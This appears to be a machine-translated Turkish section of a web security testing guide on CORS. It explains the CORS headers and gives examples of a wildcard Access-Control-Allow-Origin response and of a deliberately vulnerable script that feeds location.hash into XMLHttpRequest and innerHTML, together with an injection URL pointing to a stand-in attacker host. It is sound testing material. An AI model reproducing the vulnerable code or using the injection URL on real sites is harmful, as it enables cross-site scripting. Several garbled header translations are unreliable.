

Testing Cross Origin Resource Sharing (Çapraz Kaynak Paylaşımının Test Edilmesi)

Summary (Özet)

Cross origin kaynak paylaşımı (CORS), bir web tarayıcısının XMLHttpRequest L2 API'sini kontrollü bir şekilde kullanarak çapraz domain isteklerini yerine getirmesini sağlayan bir mekanizmadır. Geçmişte, XMLHttpRequest L1 API sadece aynı köken politikası ile kısıtlandığı gibi aynı kökene sahip taleplerin gönderilmesine izin verdi.

Çapraz kökenli istekler, talebi başlatan etki alanını tanımlayan ve her zaman sunucuya gönderilen bir menşe başlığına sahiptir. CORS, bir çapraz başlangıç isteğine izin verilip verilmediğini belirlemek için bir web tarayıcısı ile bir sunucu arasında kullanılacak protokolü tanımlar. HTTP başlıkları bunu başarmak için kullanılır.

W3C CORS spesifikasyonu, GET veya POST dışındaki istekler veya kimlik bilgilerini kullanan

talepler gibi basit olmayan talepler için, talep türünün veriler üzerinde kötü bir etkisi olup olmayacağını kontrol etmek için bir uçuş öncesi OPTIONS talebinin önceden gönderilmesi gerektiğini belirtir. Uçuş öncesi istek, sunucu tarafından izin verilen yöntemleri ve başlıkları

ve kimlik bilgilerine izin verilirse kontrol eder. OPTIONS talebinin sonucuna bağlı olarak tarayıcı, talebe izin verilip verilmeyeceğine karar verir.

Origin & Access-Control-Allow-Origin (Origin & Access-Control-Allow-Origin)

Köken başlığı her zaman bir CORS talebinde tarayıcı tarafından gönderilir ve talebin kökenini gösterir. Orijinal başlığı JavaScript'ten değiştirilemez, ancak Access Control kontrolleri için bu başlıka güvenmek, tarayıcının dışında dalga edilebilir olabileceği için iyi bir fikir değildir, bu nedenle hassas verileri korumak için uygulama düzeyinde protokollerin kullanıldığını kontrol etmeniz gerekir.

Access-Control-Allow-Origin, yanıtı hangi etki alanının okumasına izin verildiğini belirtmek için bir sunucu tarafından kullanılan bir yanıt başlığıdır. CORS W3 Şartnamesine dayanarak, müşterinin bu başlığa dayalı yanıt verilerine erişimi olup olmadığının kısıtlanmasını belirlemek ve uygulamak müşteriye bağlıdır.

Bir penetrasyon testi perspektifinden, örneğin bir kullanarak güvensiz yapılandırmalar aramalısınız. * Tüm alanlara izin verildiği anlamına gelen Access-Control-Allow-Origin başlığının değeri olarak wildcard. Diğer güvensiz örnek, sunucunun herhangi bir ek kontrol olmadan menşee başlığını geri döndürdüğünde, hassas verilere erişmeye neyin yol açabileceğidir. Bu yapılandırmanın çok güvensiz olduğunu ve herkes tarafından erişilebilir olması amaçlanan bir kamu API'si hariç genel olarak kabul edilemez.

Access-Control-Request-Method & Access-Control-Allow-Method (Erişim-Kontrol-Teskilat-Method & Access-Control-Allow-Method)

Access-Control-Request-Method başlığı, bir tarayıcı ön uçta takipleri talebini yerine getirdiğinde ve müşterinin nihai isteğin istek yöntemini belirtmesine izin verdiğinde kullanılır. Öte yandan Access-Control-Allow-Method, sunucu tarafından müşterilerin kullanmasına izin verilen yöntemleri tanımlamak için kullanılan bir yanıt başlığıdır.

Access-Control-Request-Headers & Access-Control-Allow-Headers (Erişim-Kontrol-Beceri-Başlıklar & Access-Control-Allow-Headers)

Bu iki başlık, tarayıcı ve sunucu arasında, bir çapraz sicil talebinde bulunmak için hangi başlıkların kullanılabileceğini belirlemek için kullanılır.

Access-Control-Allow-Credentials (Erişim-Kontrol-Aykı-Kredentials)

Bu başlık, bir uçta öncesi talebin bir parçası olarak son isteğin kullanıcı kimlik bilgilerini içerebileceğini gösterir.

Input Validation (Giriş Doğrulaması)

XMLHttpRequest L2 (veya XHR L2), geriye dönük uyumluluk için XHR API'sini kullanarak bir çapraz domain isteği oluşturma olasılığını ortaya koymaktadır. Bu,

XHR L1'de bulunmayan güvenlik açıklarını getirebilir. Kolun istismar edilmesinin ilginç noktaları, doğrulama olmaksızın XMLHttpRequest'e aktarılan URL'ler olacaktır, özellikle mutlak URL'lere izin verilirse, kod enjeksiyonuna yol açabilir. Aynı şekilde, uygulamanın istismar edilebilecek diğer kısımları, yanıt verilerinin kaçmaması ve kullanıcı tarafından sağlanan girdi sağlayarak kontrol edebilmemizdir.

Other Headers (Diğer Başlıklar)

Access-Control-Max-Age gibi, bir ön uçuş talebinin tarayıcıda ön belleğe alınabileceği zamanı belirleyen başka başlıklar veya bir CORS API spesifikasyonunun API'sine hangi başlıkların maruz kalacağını gösteren Access-Control-Expose-headers, her ikisi de CORS W3C belgesinde belirtilen yanıt başlıklarıdır.

Test Objectives (Test Hedefleri)

- CORS'ı uygulayan uç noktaları belirleyin.
- CORS yapılandırmasının güvenli veya zararsız olduğundan emin olun.

How To Test (Nasıl Test Edilir)

ZAP gibi bir araç, test edenlerin HTTP başlıklarını engellemesini sağlayabilir ve bu da CORS'ın

nasıl kullanıldığını ortaya çıkarabilir. Testçiler, hangi alanların izin verildiğini öğrenmek için orijinal başlığına özellikle dikkat etmelidir. Ayrıca, kodun kullanıcı tarafından sağlanan girişin yanlış kullanımı nedeniyle kod enjeksiyonuna karşı savunmasız olup olmadığını belirlemek için JavaScript'in manuel olarak incelenmesi gereklidir. Aşağıda bazı örnekler verilmiştir:

Example 1: Insecure Response with Wildcard * in Access-Control-Allow-Origin (Örnek 1: Wildcard ile güvensiz tepki Access-Control-Allow-Origin bölgesinde bulundunuz mu?)

Talep <http://attacker.bar/test.php> ('Hayranlık' başlığını not edin):

```
GET /test.php HTTP/1.1
Host: attacker.bar
```


```
[...]
Referer: http://example.foo/CORSExample1.html
Origin: http://example.foo
Connection: keep-alive
```

Yanıt ('Access-Control-Allow-Origin' başlığına dikkat edin:)

```
HTTP/1.1 200 OK
[...]
Access-Control-Allow-Origin: *
Content-Length: 4
Content-Type: application/xml
```

[Response Body]

Example 2: Input Validation Issue: XSS with CORS (Örnek 2: Giriş doğrulama sorunu: CORS ile XSS)

Bu kod, aktarılan kaynağa bir istekte bulunur  URL'deki karakter, başlangıçta aynı sunucuda kaynak elde etmek için kullanılır.

Savunmasız kod:

```
<script>
  var req = new XMLHttpRequest();

  req.onreadystatechange = function() {
    if(req.readyState==4 && req.status==200) {
      document.getElementById("div1").innerHTML=req.responseText;
    }
  }

  var resource = location.hash.substring(1);
  req.open("GET",resource,true);
  req.send();
</script>
```

```
<body>
  <div id="div1"></div>
</body>
```

Örneğin, böyle bir talep içeriği gösterecektir. `profile.php` Dosya:

`http://example.foo/main.php#profile.php`

Tarafından oluşturulan istek ve yanıt `http://example.foo/profile.php` : :

```
GET /profile.php HTTP/1.1
Host: example.foo
[...]
Referer: http://example.foo/main.php
Connection: keep-alive
```

```
HTTP/1.1 200 OK
[...]
Content-Length: 25
Content-Type: text/html
```

[Response Body]

Şimdi, URL doğrulaması olmadığı için, uzaktan bir komut dosyası enjekte edebiliriz, bu da enjekte edilecek ve yürütülecektir. `example.foo` Domain, böyle bir URL ile:

`http://example.foo/main.php#http://attacker.bar/file.php`

Tarafından oluşturulan istek ve yanıt `http://attacker.bar/file.php` : :

```
GET /file.php HTTP/1.1
Host: attacker.bar
[...]
Referer: http://example.foo/main.php
origin: http://example.foo
```

```
HTTP/1.1 200 OK
[...]
```

Access-Control-Allow-Origin: *

Content-Length: 92

Content-Type: text/html

Injected Content from attacker.bar